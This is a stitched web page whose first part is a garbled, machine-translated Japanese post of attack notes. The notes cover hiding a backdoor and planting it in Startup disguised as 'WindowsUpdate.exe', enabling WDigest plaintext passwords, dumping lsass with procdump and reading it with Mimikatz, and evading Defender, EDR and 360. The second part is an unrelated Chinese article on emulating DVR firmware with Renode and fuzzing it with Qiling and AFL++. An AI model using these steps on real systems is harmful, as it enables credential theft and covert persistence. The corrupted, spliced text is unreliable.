2。Windowsサービスは、Hidden File Shell Attrib C: \ Windows \ Task.exe +S +Hサービスを自動的に起動します。実行バックドアファイルシェルを自動的に開始します。1049983-20240926132223610-567257077.pngまたは1049983-20240926132224397-1493573486.png 1049983-20240926132225014-118523183.png 1049983-20240926132225617-1332830607.png3.sharpstay.exe自動化タスクはSharpStay.exe Action=Debug Command='C3: \ Windows 1049983-20240926132227032-850389686.png

4. Service Directory(Win7 System isのみ有効)を自動的に開始するシェルコピー 'c: \ windows \ task.exe' 'c: \ users \ administrator \ appdata \ roaming \ roaming \ windows \ start menu \ start menu \ programs \ spartup \ windowsupdate.exe '%ProgramData%\ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ WindowsUpDate.Exe' /YShell Attrib 'C: \ Users \ Administrator \ AppData \ Roaming

1。 Mimikatzは、レジストリにLSA保護をバイパスするために変更を追加します(EDRとWDは当面とは見なされません)

Mimikatz原則:Mimikatzは、lsass.exeプロセスに保存されているプレーンテキストログインパスワードを逆に取得します。 (LSASS.EXEは、ローカルセキュリティおよびログインポリシーに使用されます)。まず、Mimikatzを使用する場合、クロールは管理者の権利でなければなりません。 Win10、Win11、Win2012およびその他のバージョンでは、システムがLSA保護を有効にし、PlantextパスワードフィールドにNULLが表示されます。最初のステップは、権限を増やすことです:特権:3360Debug。 2番目のステップは、クロールすることです。Sekurlsa3:logonpasswordspwiurnxzxeh743.pngLSA保護をオフにします。このログインのプレーンテキストパスワードは、LSASS.EXEプロセスに保存されます。 Mimikatzを使用して再びクロールして、Plantextパスワードを表示します。レジストリを復元すると、1から0を直接変更できます。コマンドの変更:reg hklm \ system \ currentControlset \ control \ securityproviders \ wdigest /v uselogoncredentient /t reg_dword /d 1 /f vyglgocjvbz744.pngしたがって、ミミカッツのために殺さない場合、たとえ静的すぎても、ハッシュアクションをバイパスするためにさまざまな姿勢を考慮する必要がありますが、これには間違いなく多くの時間がかかります。したがって、lsass.exeに保存されているプレーンテキストパスワードを取り出すことを検討し、ローカルミミカッツを介してパスワードを取得できます。実装:LSA保護がオフになり、管理者の権利が使用され、Microsoft Project Procdumpを使用してダンピングを使用しています(Microsoftプロジェクトであるため、EDRは毒を報告しません)、LSASSプロセスに保存されているパスワード情報を取得し、niuma.dmpとして保存します。 Procdumpプロジェクトアドレス:https://Learn.microsoft.com/zh-cn/sysinternals/downloads/procdumpコマンド:procdump.exe -ma lsass.exe niuma.dmpこの時点で、情報はローカル環境でMimikatzと同じディレクトリに引き込まれているため、通常のユーザー許可はniuma.dmpのプレーンテキストパスワードを直接読み取ることができます。ステップ1:sekurlsa3:3360minidump niuma.dmpステップ2:sekurlsa3:logonpasswordsフルdtjslq5p0eo745.pngしたがって、メモリストレージのDLL干渉を介してストレージを暗号化して、WDをバイパスする必要があります。

実装:前提は、LSA保護がオフになっており、管理者の特権であることです。操作中にエラーが発生する可能性があります。指定されたモジュール参照はありません。 DLLファイルの依存関係を見つけて、同じディレクトリに保存する必要があります。コマンドを使用して暗号化されたtest.logを生成し、パスC:/windows/tmepを保存し、ファイルをローカルに保存し、test.logを復号化して初期ストレージ情報を取得し、2番目のミミカッツと同じプレーンテキストパスワードを取得します。最初のステップでは、暗号化されたファイルを生成します:rundll32 dumphash.dll dllmain 2番目のステップローカル復号化コマンド:mimikatz decryption.exe test.log 1.bin 3番目のステップは、平文を読み取ります:sekurlsa:3360minidump 1つは、スクリーンショットが撮影されていません)vrq3q5x5f02746.png 4dvgmcfyzc1747.png

2。 Procdumpダンプバイパス360、Firefox

Githubプロジェクトアドレス:3https://github.com/xjsafe/mimikatzbypass yabpnkdqrpj748.pngリポスト

1.jpg

在各種攻擊性安全技術中,在分析IoT/IIoT 設備的安全性時,漏洞評估是重中之重。在大多數情況下,此類設備是使用黑盒測試方法進行分析的,在這種方法中,研究人員實際上對研究對像一無所知。通常,這意味著設備固件的源代碼不可用,研究人員只能使用用戶手冊和一些用戶論壇上討論設備操作的幾個線程。

IoT/IIoT 設備的漏洞評估基於對其固件的分析。它分幾個階段執行:準備固件(提取和解包),從研究人員的角度搜索感興趣的組件,在模擬器中運行固件或其部件,最後搜索漏洞。在最後階段使用了多種技術,包括靜態和動態分析以及模糊測試。

分析設備固件的傳統方法是將QEMU 仿真器與GNU 調試器結合使用。我們決定討論其他不太明顯的固件處理工具,包括Renode 和Qiling。這些工具中的每一個都有其自身的特性、優勢和局限性,使其對某些類型的任務有效。

Renode 是一種旨在模擬整個系統的工具,包括內存芯片、傳感器、顯示器和其他外圍設備。它還可以模擬多個處理器(在多處理器設備上)之間的交互,每個處理器都可以有自己的架構和固件。 Renode 還可以將仿真硬件與實現為可編程邏輯設備(FPGA 芯片)的真實硬件互連。

Qiling 是一個用於模擬可執行文件的高級多平台框架。它可以模擬多種操作系統和環境,包括不同成熟度的Windows、MacOS、Linux、QNX、BSD、UEFI、DOS、MBR 和以太坊虛擬機。它支持x86、x86_64、ARM、ARM64、MIPS 和8086 架構和各種可執行文件格式。它還可以模擬MBR 加載過程。

我們選擇了一個現實世界的設備,一個主要製造商的網絡錄像機,作為我們研究的對象。該設備基於海思平台,運行Linux。

從製造商網站下載的固件包含一個文件,其中binwalk 工具檢測到CramFS 文件系統。解壓文件後,我們發現uImage——Linux 內核和initramfs 的組合映像——以及幾個加密腳本和TAR 檔案。

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)

1

2

3

4

5

6

7

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)下面,我們從系統層面看一下Renode和Qiling的運行情況。

有關在應用程序級別使用這些工具的信息(以錄像機的固件為例),請參閱文章的完整版本。

使用Renode 的系統級仿真Renode 是一個完整的系統仿真實用程序,其開發人員主要將其定位為旨在簡化嵌入式軟件開發、調試和自動化測試的工具。但是,它也可以用作動態分析工具,在漏洞評估期間分析系統的行為。 Renode 可用於運行小型嵌入式實時操作系統和成熟的操作系統,如Linux 或QNX。該模擬器大部分是用C# 編寫的,因此它的功能可以相對較快地適應研究人員的需求。

描述模擬平台作為單芯片系統一部分的外圍設備通常可通過內存映射I/O (MMIO) 獲得——相應外圍模塊的寄存器映射到的物理內存區域。 Renode 提供了使用帶有.repl(RE節點PL格式)擴展名的配置文件從構建塊構建片上系統的能力,該文件描述了哪些設備應該映射到哪些內存地址。

有關可用外圍設備和所用平台的內存映射的信息可以在SoC 文檔(如果公開)中找到。如果文檔不可用,則可以通過分析設備樹Blob (DTB) 的內容來找到此信息,DTB 是描述Linux 內核在嵌入式設備上運行Linux 所需的平台的數據塊。

在正在分析的固件中,DTB 塊附加到uImage 文件的末尾(根據binwalk 工具的信息)。使用dtc 工具將DTB 轉換為可讀格式(DTS)後,我們可以使用它為Renode 創建平台描述。

開始仿真必須準備一個初始化腳本,以便在REPL 文件中描述的平台上運行一些有用的東西。該腳本通常將可執行代碼加載到虛擬內存中,配置處理器寄存器,設置額外的事件處理程序,配置調試消息的輸出(如果需要)等。

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040該腳本將uImage 文件加載到平台內存中的binwalk 輸出地址,配置內核參數,並將控制權傳遞給地址0x40008040,因為前0x40 字節由uImage 標頭獲取。

開始仿真後,我們得到了一個功能齊全的終端,我們可以與它進行交互,就像我們在任何Linux 系統上的終端一樣:

2.png

Renode 模擬器提供了足夠的功能來快速開始對正在研究的固件進行動態分析。作為一個動手示例,我們能夠部分運行網絡視頻錄像機的固件,而無需實際手頭有錄像機。在接下來的步驟中,我們可以使用模擬文件系統中可用的工具來解密加密的固件文件,提取提供記錄器功能的內核模塊並分析它們的邏輯等。

由於Renode 仿真器為基於ARM 架構的片上系統中常用的外設提供了足夠廣泛的支持,因此無需編寫任何額外代碼即可查看功能齊全的Linux 終端。同時,在必要時,仿真器的模塊化架構及其腳本和插件編寫功能使得在足以進行研究的水平上實現對任何缺乏功能的支持變得相對容易。

該工具的顯著特點之一是它使用系統級仿真。因此,很難使用它來模糊測試或調試在模擬操作系統中運行的用戶空間應用程序。

該工具的缺點包括缺乏詳細的文檔,現有文檔僅描述了最基本的使用場景。在實現更複雜的東西時,例如新的外圍設備,或者試圖了解特定內置命令的工作原理時,您必須反复參考GitHub 上的項目存儲庫並研究模擬器本身和捆綁的源代碼外圍設備。

使用Qiling 框架進行模糊測試Qiling 框架是用Python 編寫的,這使得根據研究人員的特定需求調整其功能非常容易。麒麟框架底層有獨角獸引擎,它只是一個機器指令的模擬器,而麒麟提供了許多高級功能,例如從文件系統中讀取文件、加載動態庫等。

與QEMU 相比,Qiling Framework 可以模擬更多平台,並提供靈活的模擬過程配置,包括即時修改執行代碼的能力。此外,它是一個跨平台框架,這意味著它可以用來在Linux 上模擬Windows 或QNX 可執行文件,反之亦然。

作為演示的一部分,我們將嘗試使用Qiling 模糊測試hrsaverify 實用程序,它是我們正在分析的固件的一部分,使用AFL++,一個用於驗證加密文件的實用程序,它將文件的路徑用於被驗證為論據。 Qiling 框架在其存儲庫的示例/fuzzing 目錄中已經有幾個運行AFL++ fuzzer 的示例。我們將修改名為linux_x8664 的示例以運行hrsaverify。運行fuzzer 的修改腳本如下所示:

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])我們首先要查找的是可執行文件的基地址(在我們的例子中為0x10000),即主函數的地址。有時需要在其他地址上額外設置鉤子,當遇到這些地址時,模糊器應將其視為崩潰。例如,在QNX 環境中(在qnx_arm 目錄中)運行AFL 時,為libc 中SignalKill 函數的地址設置了這種類型的附加處理程序。在hrsaverify 的情況下,不需要額外的處理程序。還應該記住,所有必須對正在運行的應用程序可用的文件都應該放在sysroot 中,並且應該傳遞它們的相對路徑(在這種情況下,/./rootfs/hikroot/)。

AFL++ 使用以下命令啟動:

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--python./fuzz_arm_linux.py@@

1

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--